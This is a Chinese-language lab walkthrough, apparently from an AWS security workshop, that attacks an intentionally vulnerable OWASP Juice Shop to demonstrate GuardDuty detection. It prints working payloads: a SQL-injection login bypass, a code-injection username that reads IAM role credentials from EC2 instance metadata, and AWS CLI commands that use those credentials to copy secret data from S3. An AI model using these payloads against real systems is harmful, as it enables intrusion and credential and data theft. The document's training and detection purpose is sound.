获取IAM安全凭据

一个常见的攻击场景就是在AWS上部署了web应用程序,攻击者会尝试获取 IAM Role的 temporary security credentials ,进一步获取其他资源的权限,比如 含有敏感信息的S3 存储桶和 DynamoDB 表。

另外一个常见的攻击场景是SQL注入,利用web应用程序的表单或者请求字段直接输入SQL指令,无需身份验证执行任意脚本。

OWASP Juice Shop同时在登录介绍web表单中含有漏洞。首先,我们使用SQL注入将自己注册成网站的管理账号。然后我们提交一些JavaScript代码作为我们的 用户名,利用一个非校验的 eval() ,Juice Shop 的服务端执行这段代码。

这段代码我们会获取EC2实例的metadata,获取到IAM role的临时安全凭据。之后创建一个包含这个安全凭据的文件,可以直接从浏览器访问,我们就可以使用这个凭据从S3窃取数据了。

环境搭建

使用到OWASP Juice Shop,一个包含了网络安全漏洞的web应用程序,用于验证安全产品检测效果。

需要提前准备好一个AWS海外账号,然后这个CloudFormation,安装部署完成以后环境就搭建好了。

在输出结果中可以找到Juice Shop的地址JuiceShopURL。拷贝记录下来以备后用。

模拟攻击

1 获取Juice Shop管理员账号

打开Juice Shop的登录页:<JUICE_SHOP_URL>/#/login

在Email的部分输入:' or 1=1;--

在Password的部分输入任意值,点击Log in按钮。

在顶部右上角,点击 Account 然后点击admin@juice-sh.op 打开 Profile 页面。

拷贝以下的代码,并且粘贴到Username 输入框,点击Set Username 按钮。

#{global.process.mainModule.require('child_process').exec('x=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/) && y=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/$x) && echo $y | json_pp >frontend/dist/frontend/assets/public/credentials.json')}

验证执行结果,你应该能在头像的图片下面看到"[object Object]"作为用户名。

2 获取IAM安全凭据

打开网址<JUICE_SHOP_URL>/assets/public/credentials.json,你可以看到Juice Shop "credentials" 页面。

打开 AWS CloudShell ,一个基于浏览器的 shell,可让您轻松安全地管理、探索 AWS 资源并与之交互。有了 CloudShell,您就可以通过浏览器使用 AWS 命令行界面(AWS CLI)快速运行脚本。

拷贝以下的命令,替换<JUICE_SHOP_URL>为你从CloudFormation的输出中得到的JuiceShopURL值,输入到CloudShell中执行:

export JUICESHOPURL="<JUICE_SHOP_URL>"

拷贝以下的命令,替换<BUCKET_NAME>为你从CloudFormation的输出中得到的TheSecureBucket值,输入到CloudShell中执行:

export THEBUCKET="<BUCKET_NAME>"

拷贝下面的命令执行,下载窃取的安全凭据并展示在终端上,

wget $JUICESHOPURL/assets/public/credentials.json
cat credentials.json | jq
aws configure set profile.juicer.region us-west-2
aws configure set profile.juicer.aws_access_key_id `cat credentials.json | jq -r '.AccessKeyId'`
aws configure set profile.juicer.aws_secret_access_key `cat credentials.json | jq -r '.SecretAccessKey'`
aws configure set profile.juicer.aws_session_token `cat credentials.json | jq -r '.Token'`

3 窃取S3敏感数据

  1. 拷贝以下代码,并提交执行:

aws s3 cp s3://$THEBUCKET/secret-information.txt secret-information.txt --profile juicer
more secret-information.txt
  1. 可以在终端上看到获取到的敏感数据:

This is confidential information that should never leave the company!

4 GuardDuty的告警

在 5 到 15 分钟之间,GuardDuty 会检测到 S3 复制操作是使用属于 AWS 内另一个帐户的 IAM 角色的临时安全凭证执行的。这是因为 AWS CloudShell 终端是在一个独立于 AWS 账户的托管账户中运行的。这将触发创建 UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.InsideAWS 发现。

告警显示:

Credentials created exclusively for an EC2 instance using instance role template-TheRole-vTAOVXNktWZX have been used from a remote AWS account 102904990151.

GD中的告警信息让我们知道了攻击来源IP、内容、时间和地点,但并不能解释攻击的方式。在现实世界中,还需要Juice Shop 日志执行进一步的侦查工作,以查看攻击发生时应用程序内发生了哪些活动。如果提前做好了日志收集,日志会捕获表单提交数据,包括登录和用户配置文件的,可以找到攻击者注入了我们 EC2 实例所执行的 SQL 和 JavaScript。

在GD的告警中可以获取到AKSK,AccountID,以及事件发生时间,通过这些信息后续可以利用日志分析工具检索攻击者被泄漏的AKSK做了什么:检索某账号AKSK在指定时间范围内做了什么

阻止攻击

我们已经看到了攻击的实际效果,让我们建立一些保护措施来防止它的发生。

参考资料

workshop - Startup Security: Techniques to Stay Secure while Building Quickly

最后更新于